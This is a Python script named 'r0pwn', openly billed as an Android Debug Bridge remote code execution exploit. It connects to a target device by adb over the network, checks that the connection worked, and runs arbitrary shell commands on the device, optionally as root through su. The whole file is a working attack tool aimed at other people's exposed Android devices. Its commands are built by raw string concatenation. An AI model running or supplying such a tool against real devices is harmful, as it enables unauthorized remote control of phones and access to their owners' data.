exploit.py

import sys
import time
import os

def connect(device):
    print("exploiting "+device+"...")
    os.popen("adb connect "+device).read()
    time.sleep(1)
    
def header():
    print("""
======================
r0pwn by Ivan Nikolsky
======================

Android Debug Bridge RCE exploit.
""")

def substitute(code):
    # r0pwn substitute is an RCE code substitution
    # You can substitute code to the target Android
    #
    angry_substitution = False
    #
    # angry_substitution means substitute code as root
    # It will work only if target device is rooted
    
    if angry_substitution == True:
        print("substituting "+code+"...")
        time.sleep(0.5)
        print("executing "+code+"...")
        os.popen("adb shell su '"+code+"'").read()
    else:
        print("substituting "+code+"...")
        time.sleep(0.5)
        print("executing "+code+"...")
        os.popen("adb shell '"+code+"'").read()

def main():
    if len(sys.argv) < 2:
        print("usage: exploit.py <target> [-s <code>]")
        print("reason [no args given]")
        sys.exit()
    else:
        if len(sys.argv) > 2:
            if sys.argv[2] == "-s":
                if len(sys.argv) < 4:
                    print("usage: exploit.py <target> [-s <code>]")
                    print("reason [no code given]")
                    sys.exit()
                elif len(sys.argv) > 4:
                    print("usage: exploit.py <target> [-s <code>]")
                    print("reason [a lot of args given]")
                    sys.exit()
                else:
                    target = sys.argv[1].split(":")[0]
                    connect(target)
                    is_connected = os.popen("adb devices | grep "+target).read()
                    is_offline = os.popen("adb devices | grep offline").read()
                    if is_connected == "":
                        print("failed to connect")
                        print("reason [connection refused]")
                        sys.exit()
                    else:
                        if is_offline == "":
                            pass
                        else:
                            print("failed to connect")
                            print("reason [device offline]")
                            sys.exit()
                    code = sys.argv[3]
                    substitute(code)
            else:
                print("usage: exploit.py <target> [-s <code>]")
                print("reason [invalid flag]")
                sys.exit()
        else:
            target = sys.argv[1].split(":")[0]
            connect(target)
            is_connected = os.popen("adb devices | grep "+target).read()
            is_offline = os.popen("adb devices | grep offline").read()
            if is_connected == "":
                print("failed to connect")
                print("reason [connection refused]")
                sys.exit()
            else:
                if is_offline == "":
                    pass
                else:
                    print("failed to connect")
                    print("reason [device offline]")
                    sys.exit()
            
            os.system("adb shell "+target)

main()